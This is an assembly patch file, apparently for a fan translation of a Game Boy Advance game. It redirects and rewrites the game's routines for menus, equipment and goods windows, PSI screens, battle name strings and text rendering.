initWindow_buffer .org 0x80BB066 :: bl print_window_with_buffer .org 0x80BB08A :: nop :: nop //Remove highlighting .org 0x80BB0A8 :: bl initWindow_buffer .org 0x80BB24C :: bl initWindow_buffer //Go back to outer window - Also does going back to inner (not innermost) window from weapons - not touched equipment .org 0x80BB254 :: bl print_window_with_buffer .org 0x80BB2C2 :: bl initWindow_buffer .org 0x80BB2CA :: bl print_window_with_buffer .org 0x80BB2E0 :: bl initWindow_buffer .org 0x80BB2E8 :: bl print_window_with_buffer .org 0x80BB2F6 :: bl equipPrint .org 0x80BB300 :: bl innerEquipInput .org 0x80BB33C :: mov r2,#0x37 :: mov r3,#3 :: bl printNumberEquip .org 0x80BB36C :: mov r2,#0x37 :: mov r3,#0x13 :: bl printNumberEquip .org 0x80BB3FC :: bl initWindow_buffer //Go back to inner (not innermost) window from weapons - removed equipment .org 0x80BB404 :: bl print_window_with_buffer .org 0x80BB41A :: bl initWindow_buffer .org 0x80BB422 :: bl print_window_with_buffer .org 0x80BB430 :: bl equipPrint .org 0x80BB43A :: bl innerEquipInput .org 0x80BB476 :: mov r2,#0x37 :: mov r3,#3 :: bl printNumberEquip .org 0x80BB4A6 :: mov r2,#0x37 :: mov r3,#0x13 :: bl printNumberEquip .org 0x80BB532 :: bl initWindow_buffer //Go back to inner (not innermost) window from weapons - equipped a weapon .org 0x80BB53A :: bl print_window_with_buffer .org 0x80BB550 :: bl initWindow_buffer .org 0x80BB558 :: bl print_window_with_buffer .org 0x80BB566 :: bl equipPrint .org 0x80BB570 :: bl innerEquipInput .org 0x80BB5AC :: mov r2,#0x37 :: mov r3,#3 :: bl printNumberEquip .org 0x80BB5DC :: mov r2,#0x37 :: mov r3,#0x13 :: bl printNumberEquip .org 0x80BB9E4 :: bl initWindow_buffer //Go back to inner (not innermost) window from defensive equipment - not touched equipment .org 0x80BB9EC :: bl print_window_with_buffer .org 0x80BBA02 :: bl initWindow_buffer .org 0x80BBA0A :: bl print_window_with_buffer .org 0x80BBA18 :: bl equipPrint .org 0x80BBA22 :: bl innerEquipInput .org 0x80BBA5E :: mov r2,#0x37 :: mov r3,#3 :: bl printNumberEquip .org 0x80BBA8E :: mov r2,#0x37 :: mov r3,#0x13 :: bl printNumberEquip .org 0x80BBB2C :: bl initWindow_buffer //Go back to inner (not innermost) window from defensive equipment - removed equipment .org 0x80BBB34 :: bl print_window_with_buffer .org 0x80BBB4A :: bl initWindow_buffer .org 0x80BBB52 :: bl print_window_with_buffer .org 0x80BBB60 :: bl equipPrint .org 0x80BBB6A :: bl innerEquipInput .org 0x80BBBA6 :: mov r2,#0x37 :: mov r3,#3 :: bl printNumberEquip .org 0x80BBBD6 :: mov r2,#0x37 :: mov r3,#0x13 :: bl printNumberEquip .org 0x80BBC8A :: bl initWindow_buffer //Go back to inner (not innermost) window from defensive equipment - equipped something .org 0x80BBC92 :: bl print_window_with_buffer .org 0x80BBCA8 :: bl initWindow_buffer .org 0x80BBCB0 :: bl print_window_with_buffer .org 0x80BBCBE :: bl equipPrint .org 0x80BBCC8 :: bl innerEquipInput .org 0x80BBD04 :: mov r2,#0x37 :: mov r3,#3 :: bl printNumberEquip .org 0x80BBD34 :: mov r2,#0x37 :: mov r3,#0x13 :: bl printNumberEquip //When first entering the innermost menu .org 0x80BB6E0 :: mov r2,#0x54 :: mov r3,#3 :: bl printNumberEquip //Change second offense number's position - Weapon .org 0x80BB710 :: mov r2,#0x54 :: mov r3,#0x13 :: bl bb1aa_printnumberequip_store //Change second defense number's position - Weapon .org 0x80BB820 :: mov r2,#0x54 :: mov r3,#0x13 :: bl printNumberEquip //Change second defense number's position - Body .org 0x80BB950 :: mov r2,#0x54 :: mov r3,#0x13 :: bl printNumberEquip //Change second defense number's position - Arms .org 0x80BBE8E :: mov r2,#0x54 :: mov r3,#0x13 :: bl printNumberEquip //Change second defense number's position - Other .org 0x80BBEBE :: mov r2,#0x54 :: mov r3,#3 :: bl bb1aa_printnumberequip_store //Change second offense number's position - Other //When changing selection in the innermost menu .org 0x80BBDF0 :: mov r2,#0x54 :: mov r3,#0x13 :: bl printNumberEquip //Change second defense number's position - Defensive Equipment .org 0x80BBE20 :: mov r2,#0x54 :: mov r3,#3 :: bl bb1aa_printnumberequip_store //Change second offense number's position - Defensive Equipment //--------------------------------------------------------- // Goods window hacks //--------------------------------------------------------- .org 0x80B7F4E :: bl c5f80_printstr_hlight_buffer_store_buffer //Prints the balance window .org 0x80B7F72 :: bl initWindow_cursor_buffer //Sets up the goods window .org 0x80B97A8 :: bl initWindow_buffer //Prints "Who?" going into the window .org 0x80B97AE :: bl baf9c_print_window_store_buffer_top .org 0x80B992A :: bl initWindow_buffer //Prints "Who?" coming from the inner window .org 0x80B9930 :: bl baf9c_print_window_store_buffer_top .org 0x80B986E :: bl initWindow_buffer .org 0x80B98B8 :: bl b98b8_print_window_store_buffer_needed //Prints "Which?" going into the window .org 0x80B99A0 :: bl highlight_string //Highlight chosen item .org 0x80B9A4C :: bl baf9c_print_window_store_buffer_needed //Prints "Use\nDrop\n,etc." going into the window .org 0x80B9ADE :: bl initWindow_buffer .org 0x80BA688 :: bl baf9c_print_window_store_buffer_top //Prints "Use\nDrop\n,etc." going out of the give window .org 0x80BA340 :: bl initWindow_buffer //Prints "Who?" going into the window .org 0x80BA346 :: bl print_window_with_buffer .org 0x80BA37A :: bl initWindow_buffer //initiates the Give window .org 0x80BA7FA :: bl initWindow_buffer //initiates the inventory window out of help .org 0x80BA810 :: bl initWindow_buffer //initiates the options window out of help //--------------------------------------------------------- // Goods window hacks - Stored Goods //--------------------------------------------------------- //Choose inventory .org 0x80BCDB4 :: bl initWindow_buffer //First enter window - More than one page .org 0x80C63BC :: bl initWindow_buffer .org 0x80C63CC :: bl printstr_hlight_buffer //->Stored Goods(X) .org 0x80C6412 :: bl printstr_hlight_buffer //Left part of the inventory .org 0x80C643E :: bl printstr_hlight_buffer //Right part of the inventory //First enter window - Only one page .org 0x80C6492 :: bl initWindow_buffer .org 0x80C64DA :: bl printstr_hlight_buffer //Left part of the inventory .org 0x80C6518 :: bl printstr_hlight_buffer //Right part of the inventory .org 0x80C694A :: bl clearWindowTiles_buffer //When pressing arrow to switch page .org 0x80C69D8 :: mov r0,#0x12 //Proper address to "->Stored Goods(3)" string .org 0x80C69EE :: bl printstr_hlight_buffer //->Stored Goods(X) .org 0x80C6A6C :: bl printstr_hlight_buffer //Left part of the inventory .org 0x80C6AA4 :: bl printstr_hlight_buffer //Right part of the inventory .org 0x80C6AC0 :: bl c6ac0_store_buffer_stored_goods_switch_page //--------------------------------------------------------- // Goods window hacks - in battle //--------------------------------------------------------- .org 0x80E05C0 :: lsl r1,r0,#4 :: nop //Fixes wrong pointer .org 0x80E05D8 :: nop :: nop //Removes useless print .org 0x80E0C46 :: bl initWindow_cursor_buffer //initiates the goods window in battle .org 0x80E0CE4 :: bl e0ce4_redraw_battle_window_first_four //Reprints the background window for the target choosing items .org 0x80E0D1E :: bl printstr_hlight_buffer //Prints the chosen item .org 0x80E0EFA :: bl initWindow_buffer :: ldr r0,[r4,#0xC] :: bl print_window_with_buffer //Out of ally target window .org 0x80E0FAA :: bl e0faa_redraw_battle_window_first_two //--------------------------------------------------------- // BAEF8 hacks (equip window) //--------------------------------------------------------- // Erase offense change .macro erase_offense_buffer mov r0,0xC mov r1,0xB mov r2,4 bl bb21c_print_blankstr_buffer .endmacro .macro erase_defense_buffer mov r0,0xC mov r1,0xD mov r2,4 bl bb21c_print_blankstr_buffer .endmacro .macro erase_defense_buffer_store mov r0,0xC mov r1,0xD mov r2,4 bl bb21c_print_blankstr_buffer_store .endmacro .org 0x80BB216 :: erase_offense_buffer .org 0x80BB38C :: erase_offense_buffer .org 0x80BB4C6 :: erase_offense_buffer .org 0x80BB5FC :: erase_offense_buffer .org 0x80BBAAE :: erase_offense_buffer .org 0x80BBBF6 :: erase_offense_buffer .org 0x80BBD54 :: erase_offense_buffer // Erase defense change .org 0x80BB226 :: erase_defense_buffer .org 0x80BBABE :: erase_defense_buffer_store .org 0x80BBC06 :: erase_defense_buffer_store .org 0x80BBD64 :: erase_defense_buffer_store // Erase offense/defense after changing equipment .org 0x80BB3E2 :: bl baef8_reequip_erase .org 0x80BB518 :: bl baef8_reequip_erase .org 0x80BBB12 :: bl baef8_reequip_erase .org 0x80BBC70 :: bl baef8_reequip_erase //--------------------------------------------------------- // C5500 hacks (equip window switching) //--------------------------------------------------------- // Don't draw equip icon .org 0x80C5A1A :: nop .org 0x80C5A28 :: nop // Draw equipment window header .org 0x80C55CE :: b 0x80C55F8 .org 0x80C55F8 mov r4,r0 mov r0,r9 mov r1,#0x10 //Tiles to clear mov r2,#0x10 //x mov r3,#0x11 //y bl clear_window_header mov r0,r4 mov r1,r6 // tilemap mov r2,r9 // vram mov r3,r7 // window bl print_equip_header mov r6,r0 b 0x80C5726 //--------------------------------------------------------- // C1FBC hacks (PSI window) //--------------------------------------------------------- .org 0x80C203E :: mov r1,0x14 // new PSI name entry length .org 0x80C2096 :: mov r1,0x14 .org 0x80C21B4 :: mov r1,0x14 .org 0x80C224A :: mov r1,0x14 .org 0x80C229E :: mov r1,0x14 // Draw PSI Rockin .org 0x80C2192 mov r2,r8 str r2,[sp] mov r2,0xFE lsl r2,r2,1 add r0,r6,r2 mov r1,0x71 mov r2,8 bl print_string //--------------------------------------------------------- // C239C hacks (print PSI name) //--------------------------------------------------------- .org 0x80C23AA :: lsr r2,r2,0xD // tiles-to-pixels .org 0x80C23AE :: lsr r6,r3,0xD // tiles-to-pixels .org 0x80C23CE :: bl c239c_print_psi :: nop :: nop :: nop .org 0x80C23DA :: add r4,17 // pixel width of "PSI " .org 0x80C23F0 :: bl printstr_hlight_pixels_buffer // print rockin' .org 0x80C2402 :: mov r0,3 :: lsl r0,r0,0x10 // pixel width of space .org 0x80C242E :: mov r0,0x14 // new PSI name entry length .org 0x80C2448 bl printstr_hlight_pixels_buffer // print PSI name mov r2,r1 // record X width add r2,3 // add a space .org 0x80C2468 :: bl printstr_hlight_pixels_buffer //--------------------------------------------------------- // PSI target window hacks //--------------------------------------------------------- // PSI target length hack .org 0x80B8B12 :: mov r0,0x14 .org 0x80C24EE :: mov r1,0x14 // Fix PSI target offset calculation .org 0x80B8B08 mov r1,100 mul r1,r2 nop nop // Make PP cost use correct number values .org 0x80CA732 add r1,0x60 // Make PP cost use the correct space value if there's only one digit .org 0x80CA712 mov r0,0x50 //--------------------------------------------------------- // C438C hacks (Inner PSI window input management + target window printing + header printing) //--------------------------------------------------------- .org 0x80C495A :: bl c495a_status_target //--------------------------------------------------------- // B8BBC hacks (PSI window) //--------------------------------------------------------- //Do not redraw unless it is needed .org 0x80B8CD2 :: bl b8cd2_psi_window //Fix multiple sounds issue when going inside the psi window .org 0x80B8D40 :: bl b8d40_psi_going_inner_window //Sets up for the target window .org 0x80B8DB4 :: bl b8db4_psi_inner_window // Redraw main menu when exiting PSI target window .org 0x80B8E3A :: bl b8bbc_redraw_menu_2to1 // Redraw main menu when entering PSI target window .org 0x80B8CF8 :: bl b8bbc_redraw_menu_13to2 // 1 to 2 .org 0x80B920C :: bl b8bbc_redraw_menu_13to2_store // 3 to 2 //--------------------------------------------------------- // E06EC hacks (PSI window in battle) //--------------------------------------------------------- //Sets up for the target window .org 0x80E0854 :: bl e0854_psi_inner_window_battle //Do not redraw unless it is needed .org 0x80E079A :: bl e079a_battle_psi_window //--------------------------------------------------------- // C4B2C hacks (Equip window render) //--------------------------------------------------------- // Start equipment at the 6th tile instead of 5th .org 0x80C4C96 :: mov r2,6 // Weapon .org 0x80C4D1C :: mov r2,6 // Body .org 0x80C4DA4 :: mov r2,6 // Arms .org 0x80C4E2C :: mov r2,6 // Other // Only render (None) if necessary .org 0x80C4C0C bl c4b2c_skip_nones b 0x80C4C58 // Don't render equip symbols .org 0x80C4CD0 :: nop .org 0x80C4CDE :: nop .org 0x80C4D58 :: nop .org 0x80C4D66 :: nop .org 0x80C4DE0 :: nop .org 0x80C4DEE :: nop .org 0x80C4E68 :: nop .org 0x80C4E76 :: nop //--------------------------------------------------------- // C4B2C hacks (Equip window loop) //--------------------------------------------------------- .org 0x80C4F80 :: bl c4b2c_clear_left .org 0x80C4F84 :: bl c4b2c_clear_right //--------------------------------------------------------- // C980C hacks (main character printing) //--------------------------------------------------------- // Reset pixel X during scroll .org 0x80C9858 :: bl c980c_resetx_newline .org 0x80C9BF0 :: bl c980c_resetx_scroll .org 0x80C9D18 :: bl c980c_resetx_newline .org 0x80CA336 :: bl c980c_resetx_newline // Reset pixel X during a newline .org 0x80C9CC4 bl c980c_resetx_newline // Other reset X .org 0x80C9D62 :: bl c980c_resetx_other .org 0x80C9D76 :: bl c980c_resetx_other2 .org 0x80C9EEC :: bl c980c_resetx_other3 .org 0x80C9F34 :: bl c980c_resetx_other3 .org 0x80CA204 :: bl c980c_resetx_other4 .org 0x80CA274 :: bl c980c_resetx_other4 .org 0x80CA30E :: bl c980c_resetx_newline // Disable newline if the text overflows .org 0x80CA2FA :: nop // Custom codes check .org 0x80CA2BC bl c980c_custom_codes // Reset pixel X when redrawing the window .org 0x80CA2E6 bl c980c_resetx // Welding entry .org 0x80CA448 bl c980c_weld_entry b 0x80CA46C // Disable X coordinate incrementing .org 0x80CA48E nop // Saturn text welding entry .org 0x80CA39A bl weld_entry_saturn //--------------------------------------------------------- // C8FFC hacks (main string printing) //--------------------------------------------------------- // Custom codes check .org 0x80C90A2 bl c8ffc_custom_codes // Welding entry .org 0x80C9114 bl c8ffc_weld_entry b 0x80C9144 // Integer-to-char changes .org 0x80CA67C :: mov r3,0x50 // space .org 0x80CA69C :: mov r2,0x60 // zero .org 0x80CA6DC :: mov r2,0x69 // nine .org 0x80CA78A :: mov r0,0x60 // zero .org 0x80CA7AC :: mov r2,0x69 // nine .org 0x80CA7EC :: sub r1,0xA0 //--------------------------------------------------------- // C87D0 hacks (draw blank window) //--------------------------------------------------------- .org 0x80C87DC bl c87d0_clear_entry //--------------------------------------------------------- // C9634 hacks (string printing) //--------------------------------------------------------- .org 0x80C967E bl c9634_resetx //--------------------------------------------------------- // C96F0 hacks (string printing with highlight) //--------------------------------------------------------- .org 0x80C9714 lsl r3,r3,1 // change from row coords to tile coords ldrh r1,[r0,0x22] add r1,r1,r2 lsl r1,r1,3 // r1 = tile_x * 8 ldrh r2,[r0,0x24] add r2,r2,r3 lsl r2,r2,3 // r2 = tile_y * 8 mov r0,r6 bl print_string lsl r0,r0,16 lsr r7,r0,16 b 0x80C9788 //--------------------------------------------------------- // CA4BC hacks (scroll text) //--------------------------------------------------------- .org 0x80CA55E :: bl ca4bc_erase_tile_short .org 0x80CA60E :: bl ca4bc_copy_tile_up .org 0x80CA626 :: bl ca4bc_erase_tile //--------------------------------------------------------- // CAB90 hacks (print window header string) //--------------------------------------------------------- .org 0x80CAB90 push {lr} lsl r2,r2,3 lsl r3,r3,3 // tiles to pixels bl print_window_header_string add r0,7 lsr r0,r0,3 // pixels to tiles pop {pc} //--------------------------------------------------------- // Change checkerboard printing to properly handle statuses //--------------------------------------------------------- .org 0x80D68C2 :: bl dead_name .org 0x80D6960 :: bl sick_name .org 0x80D6A8A :: bl alive_name .org 0x80D6B5E :: bl dead_name .org 0x80D6BFA :: bl sick_name .org 0x80D6DAC :: bl d6dac_alive_name .org m2_stat_symb_checker :: .incbin "data/m2-status-symbols-checkerboard.bin" //--------------------------------------------------------- // CABF8 hacks (print checkerboard string) //--------------------------------------------------------- .org 0x80CABF8 :: push {r4-r7,lr} .org 0x80CAC0A mov r6,1 mov r7,0 add sp,-4 b @@print_checkerboard_check @@print_checkerboard_skip: add r4,1 @@print_checkerboard_loop: ldrb r0,[r4] sub r0,0x50 mov r1,r5 add r2,r6,1 mov r3,6 str r3,[sp] mov r3,3 bl print_character_to_ram add r6,r0,r6 add r7,1 add r4,1 @@print_checkerboard_check: ldrb r0,[r4,1] cmp r0,0xFF bne @@print_checkerboard_loop ldrb r0,[r4] cmp r0,0 bne @@print_checkerboard_skip add r0,r6,7 lsr r0,r0,3 // number of tiles used add sp,4 pop {r4-r7,pc} //--------------------------------------------------------- // D2E94 hacks (print party character name) //--------------------------------------------------------- .org 0x80D2F24 mov r1,r6 mov r2,r7 mov r0,r4 bl weld_entry b 0x80D2F52 // Disable X increment .org 0x80D2F5A :: nop // Saturn weld entry .org 0x80D2F1A bl weld_entry_saturn //--------------------------------------------------------- // D2FA0 hacks (print item) //--------------------------------------------------------- .org 0x80D3044 mov r0,r4 mov r1,r6 bl weld_entry b 0x80D3072 // Disable X increment .org 0x80D307A :: nop // Saturn weld entry .org 0x80D301A bl weld_entry_saturn //--------------------------------------------------------- // D30C4 hacks (print number) //--------------------------------------------------------- .org 0x80D314A mov r0,r5 mov r1,r7 bl weld_entry b 0x80D3178 // Disable X increment .org 0x80D3180 :: nop //--------------------------------------------------------- // D31F8 hacks (print money balance) //--------------------------------------------------------- .org 0x80D327E ldrb r0,[r7] bl decode_character mov r1,r5 bl print_character_to_window b 0x80D32AC .org 0x80D32B2 :: b 0x80D32B8 //--------------------------------------------------------- // D332C hacks (print name) //--------------------------------------------------------- .org 0x80D34E8 mov r0,r5 mov r1,r4 bl weld_entry b 0x80D3514 // Disable X increment .org 0x80D351A :: nop // Don't print [1E 20] after the name if there are multiple people .org 0x80D3418 :: b 0x80D348C //--------------------------------------------------------- // D3560 hacks (print money balance) //--------------------------------------------------------- .org 0x80D35BA bl decode_character mov r1,r5 bl print_character_to_window b 0x80D35EA //--------------------------------------------------------- // D3934 hacks (print PSI name) //--------------------------------------------------------- .org 0x80D39BA :: mov r0,0x14 // PSI name length // Weld entry .org 0x80D39E2 mov r0,r4 mov r1,r5 bl weld_entry b 0x80D3A14 // Print a space before the Greek letter .org 0x80D39D4 :: bl d3934_print_space // Battle command hacks .org 0x8B1F4C8 :: db 0x11 // Extend command window width two tiles (Normal) .org 0x8B1F4CC :: db 0x16 // Extend command window width two tiles (Paula paralyzed leader) .org 0x80D7A56 :: mov r1,4 // Move PSI class window left one tile .org 0x80D7A5A :: mov r3,6 // Extend PSI class window width one tile .org 0x80DC038 :: add r5,0x30 // String address calculation .org 0x80DC0A8 :: add r1,0x60 // String address calculation .org 0x80DC27C :: lsl r1,r2,4 :: nop // String address calculation .org 0x80DC2AC :: lsl r1,r2,4 :: nop // String address calculation .org 0x80DCC36 :: mov r2,2 // "to X" position .org 0x80DCCE0 :: mov r2,2 // "to the Front Row" position .org 0x80E079E :: bl e06ec_clear_window .org 0x80E0888 :: bl e06ec_redraw_psi .org 0x80E0A16 :: bl e06ec_redraw_bash_psi //--------------------------------------------------------- // Equipment number printing in dialogue window //--------------------------------------------------------- .org 0x80D37EC :: bl d37ec_print_number :: b 0x80D381C //Offense .org 0x80D36D0 :: bl d37ec_print_number :: b 0x80D3700 //Defense //--------------------------------------------------------- // Remove continuous printing of outer equip window and also // remove continuous printing of Offense and Defense numbers // in both outer and innermost equipment windows //--------------------------------------------------------- .org 0x80C518E :: bl c518e_outer_equip .org 0x80BAF60 :: bl baf60_outer_equip_setup .org 0x80BAFC8 :: bl bafc8_outer_equip_attack_defense .org 0x80BB26E :: bl bb990_inner_equip_attack_defense_setup //Weapon .org 0x80BB730 :: bl bb990_inner_equip_attack_defense_setup //Body .org 0x80BB860 :: bl bb990_inner_equip_attack_defense_setup //Arms .org 0x80BB990 :: bl bb990_inner_equip_attack_defense_setup //Other .org 0x80BB6B2 :: bl bb6b2_inner_equip_attack_defense_weapon .org 0x80BB64E :: bl bb64e_inner_equip_attack_defense_none_weapon .org 0x80BB80E :: bl bbe7c_inner_equip_attack_defense_defensive_equipment //Body Offense/Defense printing .org 0x80BB93E :: bl bbe7c_inner_equip_attack_defense_defensive_equipment //Arms Offense/Defense printing .org 0x80BBE7C :: bl bbe7c_inner_equip_attack_defense_defensive_equipment //Other Offense/Defense printing .org 0x80BBDDE :: bl bbe7c_inner_equip_attack_defense_defensive_equipment //Defensive equipment Offense/Defense none printing //--------------------------------------------------------- // B89EC hacks (print current cash balance) //--------------------------------------------------------- .org 0x80B8A06 mov r2,r1 mov r1,0x30 // right-align to 48 pixels bl format_cash_window b 0x80B8A2E .org 0x80B785C :: mov r0,0xC // allocate 2 extra bytes for cash window string .org 0x80B786C :: mov r3,6 // make window 1 fewer tiles wide //--------------------------------------------------------- // [68 FF] - clear window //--------------------------------------------------------- .org m2_clearwindowtiles push {r4,lr} mov r4,r0 // Clear out the pixel data bl clear_window // Reset the X/Y printing coordinates mov r0,0 strh r0,[r4,0x2A] strh r0,[r4,0x2C] pop {r4,pc} //--------------------------------------------------------- // B96B8 hacks (Selected item action menu) //--------------------------------------------------------- .org 0x80B998E :: bl b998e_get_itemstring_x //--------------------------------------------------------- // BD918 hacks (battle setup) //--------------------------------------------------------- // Longest enemy name is 24 letters + 2 for the end code, for 26 total // We might have "The " later on, so make that 30 // " and its cohorts" makes that 46 // Let's round it to a nice 64: we need to allocate that many bytes for user // and target strings on the heap. The game only allocates 16 each. // Goal: allocate an extra 128 bytes and fix all the offsets to the user/target // strings. We'll store the user string at +0x4C0 and the target string at +0x500. .org 0x80BD97A :: mov r0,0xA8 // malloc an extra 128 bytes for longer user/target strings // Fix user/target pointers .org 0x80C9942 :: bl c980c_user_pointer .org 0x80C9954 :: bl c980c_target_pointer .org 0x80EBFDC :: bl ebfd4_user_pointer :: b 0x80EBFFA .org 0x80EC004 :: push {lr} :: bl ec004_user_pointer .org 0x80EC018 :: bl ec010_target_pointer :: b 0x80EC038 .org 0x80EC046 :: push {lr} :: bl ec046_target_pointer // Length fixes .org 0x80DAE02 :: add sp,-0x40 .org 0x80DAE08 :: mov r2,0x3E .org 0x80DAE38 :: mov r2,0x3A .org 0x80DAEA2 :: mov r1,0x3E .org 0x80DAEDE :: add sp,0x40 .org 0x80DB04E :: add sp,-0x40 .org 0x80DB058 :: mov r2,0x3E .org 0x80DB08C :: mov r2,0x3A .org 0x80DB116 :: mov r1,0x3E .org 0x80DB15A :: add sp,0x40 .org 0x80DCD02 :: add sp,-0x40 .org 0x80DCD0C :: mov r2,0x3C .org 0x80DCD64 :: mov r2,0x3A .org 0x80DCDA2 :: mov r1,0x3E .org 0x80DCDA8 :: add sp,0x40 // Add a space between enemy name and letter .org 0x80DCD94 :: bl dcd00_enemy_letter .org 0x80DCD9A :: strb r0,[r5,2] .org 0x80DCD9E :: strb r0,[r5,3] .org 0x80DAE7E :: bl dae00_enemy_letter .org 0x80DAE84 :: strb r0,[r4,2] .org 0x80DAE88 :: strb r0,[r4,3] .org 0x80DB0CE :: bl dae00_enemy_letter .org 0x80DB0D2 :: strb r5,[r4,2] .org 0x80DB0D6 :: strb r0,[r4,3] // "The" flag checks .org 0x80DB084 :: bl db04c_theflag :: nop :: nop .org 0x80DB110 :: bl dae9c_king_0_the .org 0x80DB156 :: bl db156_party_0_the //Not needed anymore, but is a good measure .org 0x80DAE30 :: bl db04c_theflag :: nop :: nop .org 0x80DAE9C :: bl dae9c_king_0_the .org 0x80DAEDA :: bl daeda_party_0_the //Not needed anymore, but is a good measure .org 0x80EC93C :: bl ec93c_party_0_the //Leveling up - Not needed anymore, but is a good measure .org 0x80DCD5C :: bl dcd5c_theflag :: nop :: nop .org 0x80DB08E :: bl db08e_theflagflag .org 0x80DAE3A :: bl db08e_theflagflag .org 0x80DCD66 :: bl db08e_theflagflag .org 0x80C9C58 :: bl c9c58_9f_ad_minThe .org 0x80C9C84 :: bl c9c58_9f_ad_minThe .org 0x80CA442 :: bl ca442_store_letter // Ignore the hard-coded Japanese "and cohorts" .org 0x80DB0E6 :: b 0x80DB0FE // Update musical note value (for Ness' Nightmare) .org 0x80DAF12 :: cmp r0,0xAC //--------------------------------------------------------- // BEB6C hacks (Goods inner menu) //--------------------------------------------------------- .org 0x80BEB6C push {lr} bl goods_inner_process pop {pc} //--------------------------------------------------------- // BF858 hacks (Goods outer menu) //--------------------------------------------------------- .org 0x80BF858 push {lr} mov r1,0 mov r2,0 bl goods_outer_process pop {pc} //--------------------------------------------------------- // C0420 hacks (Goods outer menu for Tracy) //--------------------------------------------------------- .org 0x80C0420 push {lr} mov r1,1 mov r2,0 bl goods_outer_process pop {pc} //--------------------------------------------------------- // C7CA4 hacks (Shop) //--------------------------------------------------------- .org 0x80C7CA4 mov r0,r8 //Window ldr r1,[sp,#0xC] //Items in shop mov r2,#0 //y_offset | r3 already has the item total for this window bl shop_print_items //Print the items b 0x80C7E12 //Avoid the game's printing by jumping it //--------------------------------------------------------- // BFE74 hacks (Goods outer menu for Give) //--------------------------------------------------------- .org 0x80BFE74 push {lr} mov r1,#1 mov r2,#1 bl goods_outer_process pop {pc} //--------------------------------------------------------- // BA61C hacks (Fixes inventory when out of Give via B button) //--------------------------------------------------------- .org 0x80BA61C bl ba61c_get_print_inventory_window //--------------------------------------------------------- // B9ECC hacks (Fixes inventory when out of selecting a party member to give food to via B button) //--------------------------------------------------------- .org 0x80B9ECC bl b9ecc_get_print_inventory_window //--------------------------------------------------------- // BA48E hacks (Fixes inventory when out of Give via text) //--------------------------------------------------------- .org 0x80BA48E bl ba48e_get_print_inventory_window //--------------------------------------------------------- // B9F96 hacks (Fixes main window after consuming an item) //--------------------------------------------------------- .org 0x80B9F96 bl _reprint_first_menu //--------------------------------------------------------- // B9CF8 hacks (Fixes main window after an item prints a dialogue) //--------------------------------------------------------- .org 0x80B9CF8 bl _reprint_first_menu //--------------------------------------------------------- // B9C88 hacks (Fixes main window after an equippable item prints a dialogue) //--------------------------------------------------------- .org 0x80B9C88 bl _reprint_first_menu //--------------------------------------------------------- // BA52C hacks (Fixes main window after giving an item) //--------------------------------------------------------- .org 0x80BA52C bl _reprint_first_menu //--------------------------------------------------------- // BA44E hacks (Fixes main window after not being able to give an item) //--------------------------------------------------------- .org 0x80BA44E bl _reprint_first_menu //--------------------------------------------------------- // BA7BE hacks (Fixes main window after calling the help function) //--------------------------------------------------------- .org 0x80BA7BE bl ba7be_reprint_first_menu //--------------------------------------------------------- // B9AA2 hacks (Fixes main window after exiting the item action window) //--------------------------------------------------------- .org 0x80B9AA2 bl b9aa2_reprint_first_menu //--------------------------------------------------------- // BCEB0 hacks (Fixes main window after exiting the pickup menu) //--------------------------------------------------------- .org 0x80BCEB0 bl _reprint_first_menu //--------------------------------------------------------- // C1C98 hacks (menu selection) //--------------------------------------------------------- // Print the selection menu string .org 0x80C1CA6 ldr r7,=0x3005270 ldr r6,=0x30051EC ldr r5,=0x3005228 bl print_menu_string ldr r0,=0x3002500 mov r10,r0 b 0x80C1D20 .pool .org 0x80C8EFC ldrh r1,[r5,0x2C] mov r0,0 ldrh r2,[r5,0x26] mov r3,r5 bl print_blankstr_window b 0x80C8FE8 //--------------------------------------------------------- // BCF00 hacks (number selection menu) //--------------------------------------------------------- // Skip printing the first four columns of blank tiles .org 0x80BCF88 :: nop .org 0x80BCF98 :: nop .org 0x80BCFA4 :: nop .org 0x80BCFAE :: nop .org 0x80BCFBA :: nop .org 0x80BCFC6 :: nop .org 0x80BCFD0 :: nop .org 0x80BCFD8 :: nop // Print dollar sign, zeroes, and 00 symbol .org 0x80BCFDE ldr r1,=0x3005238 ldr r0,[r1] // Get window pointer mov r1,r9 bl print_number_menu b 0x80BD084 .pool // Clear number selector row .org 0x80BD096 // [r4 + 8] = window ldr r0,[r4,8] bl clear_number_menu b 0x80BD122 // Clear border tiles //--------------------------------------------------------- // C9444 hacks (print number selection menu) //--------------------------------------------------------- // Print the proper character .org 0x80C956C push {r2} // r0 = digit, r6 = window mov r1,r6 bl print_number_menu_current pop {r2} ldr r3,=0x3005228 ldr r4,=0x30051EC ldrh r3,[r3] b 0x080C959A .pool //--------------------------------------------------------- // EEB1A (load player name) //--------------------------------------------------------- .org 0x80EEB1A bl eeb1a_player_name //Call the new routine b 0x80EEB7A //Do the rest of the original routine //Remove subtract from player name printing .org 0x80EEB94 :: mov r2,r3 //--------------------------------------------------------- // End of battle hacks //--------------------------------------------------------- .org 0x80cb936 bl cb936_battle_won //Removes the game's ability to read the script instantly out of a won battle .org 0x80a1f8c bl a1f8c_set_script_reading //Change the game's ability to read the script instantly a bit .org 0x80b7702 bl b7702_check_script_reading //Change the newly set value slowly and make it 0 when it's safe //--------------------------------------------------------- // Teleport window hacks //--------------------------------------------------------- // Note that the teleport table pointer has 6 instances in the ROM, // but we are only changing two of them in m12-teleport-names.json. // This is because the other four pointers are used for accessing // the teleport flag/coord data in the table instead of the text. // We need a couple hacks to make this work... .org 0x80C5E8A :: ldr r7,[pc,0xC8] // This is used for text; load from one of the // pointers that we DID change (previously it // loaded from a pointer that we didn't change) .org 0x80C5D8A lsl r1,r0,4 // Text entries are now 16 bytes each, so multiply by 16 ldr r7,[pc,0x1C4] // ... to make room for loading r7 with the text pointer add r1,r1,r7 ldrb r0,[r1] ldr r7,[pc,0x13C] // The game uses r7 as the data pointer when looping back, // so let's sneak the data pointer in here before it loops .org 0x80C5E96 lsl r0,r1,4 nop nop .org 0x80C5F2C lsl r0,r1,4 nop nop .org 0x80C620C lsl r0,r1,4 nop nop //--------------------------------------------------------- // Teleport header fix //--------------------------------------------------------- .org 0x80C5DE0 :: bl c65da_clean_print //To: .org 0x80C5E30 :: bl c6190_clean_print //Number on first entering the menu .org 0x80C6190 :: bl c6190_buffer_number //Number on page change .org 0x80C5E04 :: nop :: strh r0,[r4,#0] :: add r4,#2 :: nop ::nop //Remove extra tile //--------------------------------------------------------- // Stored Goods header fix //--------------------------------------------------------- .org 0x80C656C :: mov r2,#0x10 :: mov r3,#0x11 :: bl c6570_clean_print_change_pos :: b 0x80C65C0 //Changes position and cleans tiles for Stored Goods .org 0x80C65DA :: bl c65da_clean_print 